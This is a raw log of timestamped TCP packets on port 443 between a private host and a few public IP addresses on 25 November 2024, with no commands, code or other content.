Nov 25, 2024 12:07:47.737498045 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.306556940 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.308089972 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.308123112 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.308640003 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.308645964 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.383373976 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.383982897 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.384004116 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.384543896 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.384548903 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.451793909 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.456204891 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.456249952 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.456651926 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.456662893 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.499387980 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.510394096 CET	49818	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.510416031 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.510838985 CET	49818	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.510845900 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.514189959 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:49.514264107 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:49.514440060 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:49.537889004 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.538444996 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.538467884 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.538903952 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.538909912 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.558509111 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:49.558533907 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:49.745820045 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.745902061 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.745954990 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.746155977 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.746155977 CET	49814	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.746175051 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.746185064 CET	443	49814	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.750278950 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.750332117 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.750427008 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.750684977 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.750704050 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.826368093 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.826528072 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.826585054 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.827022076 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.827039003 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.827048063 CET	49815	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.827056885 CET	443	49815	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.830307007 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.830339909 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.830408096 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.830605030 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.830615044 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.904135942 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.904206038 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.904273033 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.904839039 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.904860020 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.904870987 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.904876947 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.908346891 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.908369064 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.908498049 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.908663034 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.908677101 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.932748079 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.932818890 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.932920933 CET	49818	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.933060884 CET	49818	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.933067083 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.933078051 CET	49818	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.933082104 CET	443	49818	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.938926935 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.938961029 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.939017057 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.939222097 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.939233065 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.990272045 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.990334988 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.990386009 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.990592003 CET	49817	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.990606070 CET	443	49817	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.993827105 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.993870974 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:49.993928909 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.994146109 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:49.994163990 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.470565081 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.474555969 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.474590063 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.475147963 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.475156069 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.617367983 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.658444881 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.665452957 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.665462971 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.666443110 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.666449070 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.697376966 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.697761059 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.697793961 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.698302031 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.698308945 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.724081039 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.724514008 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.724529982 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.725208998 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.725214005 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.839076996 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.839535952 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.839572906 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.846709967 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.846764088 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.906220913 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.906291962 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.906359911 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.906689882 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.906709909 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.906723022 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.906728029 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.910368919 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.910415888 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:51.910487890 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.910669088 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:51.910687923 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.061458111 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.061516047 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.061592102 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.063071966 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.063090086 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.063102007 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.063108921 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.080321074 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.080360889 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.080851078 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.082519054 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.082530975 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.141673088 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.141756058 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.141978025 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.142165899 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.142185926 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.142199993 CET	49834	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.142205000 CET	443	49834	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.145016909 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.145062923 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.145215034 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.146119118 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.146137953 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.168143034 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.168215036 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.168261051 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.168437004 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.168453932 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.168560028 CET	49835	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.168565989 CET	443	49835	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.171911001 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.171936989 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.172013998 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.172148943 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.172157049 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.292109966 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.292172909 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.292309046 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.292576075 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.292604923 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.292622089 CET	49836	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.292628050 CET	443	49836	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.298168898 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.298193932 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:52.298254013 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.298410892 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:52.298424006 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.826643944 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.829997063 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:53.830015898 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.830530882 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:53.830535889 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.934596062 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.935069084 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.935085058 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:53.935110092 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.935370922 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:53.935390949 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.939085960 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:53.939090967 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:53.939425945 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:53.939431906 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.250740051 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.251831055 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.251856089 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.252310038 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.252315044 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.285757065 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.285830021 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.285896063 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.286042929 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.286055088 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.286078930 CET	49853	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.286084890 CET	443	49853	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.290422916 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.290452957 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.290739059 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.291846991 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.291860104 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.373878002 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.374574900 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.374599934 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.375057936 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.375062943 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.380386114 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.380543947 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.380606890 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.380655050 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.380670071 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.380680084 CET	49855	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.380686045 CET	443	49855	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.383404016 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.383440971 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.383601904 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.383776903 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.383791924 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.392205000 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.392266035 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.392340899 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.392440081 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.392452955 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.392463923 CET	49854	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.392474890 CET	443	49854	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.394707918 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.394750118 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.394848108 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.395005941 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.395024061 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.712985039 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.713047028 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.713289022 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.713440895 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.713459015 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.713478088 CET	49856	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.713484049 CET	443	49856	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.716145992 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.716187000 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.716368914 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.716536045 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.716546059 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.834661007 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.834760904 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.834830999 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.835000992 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.835000992 CET	49857	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.835015059 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.835024118 CET	443	49857	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.837980032 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.838026047 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:54.838098049 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.838263988 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:54.838285923 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:55.209966898 CET	49871	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:55.210005999 CET	443	49871	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:55.210064888 CET	49871	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:55.210474968 CET	49871	443	192.168.2.5	4.245.163.56
Nov 25, 2024 12:07:55.210489988 CET	443	49871	4.245.163.56	192.168.2.5
Nov 25, 2024 12:07:56.004868031 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.059772015 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.167027950 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.180592060 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.214930058 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.215858936 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.215883970 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.216818094 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.216825962 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.218812943 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.218832970 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.219194889 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.219199896 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.227214098 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.227236032 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.227722883 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.227740049 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.495255947 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.496407032 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.496429920 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.496906042 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.496912003 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.538297892 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.538322926 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.538381100 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.538384914 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.538418055 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.538892031 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.538909912 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.538917065 CET	49866	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.538922071 CET	443	49866	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.541858912 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.541898012 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.542124987 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.542336941 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.542355061 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.612018108 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.612092972 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.612210035 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.625380039 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.625439882 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.625507116 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.635484934 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.635484934 CET	49867	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.635512114 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.635521889 CET	443	49867	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.637089968 CET	49868	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.637115002 CET	443	49868	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.668596029 CET	49880	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.668653011 CET	443	49880	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.670960903 CET	49880	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.674859047 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.674902916 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.674973965 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.675331116 CET	49880	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.675344944 CET	443	49880	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.675810099 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.675825119 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.680952072 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.681399107 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.681428909 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.681812048 CET	49870	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.681818008 CET	443	49870	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.943456888 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.943484068 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.943604946 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.943619967 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.945636988 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.948381901 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.953372002 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.953391075 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.953414917 CET	49869	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.953421116 CET	443	49869	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:56.959268093 CET	49884	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:56.959327936 CET	443	49884	13.107.246.63	192.168.2.5
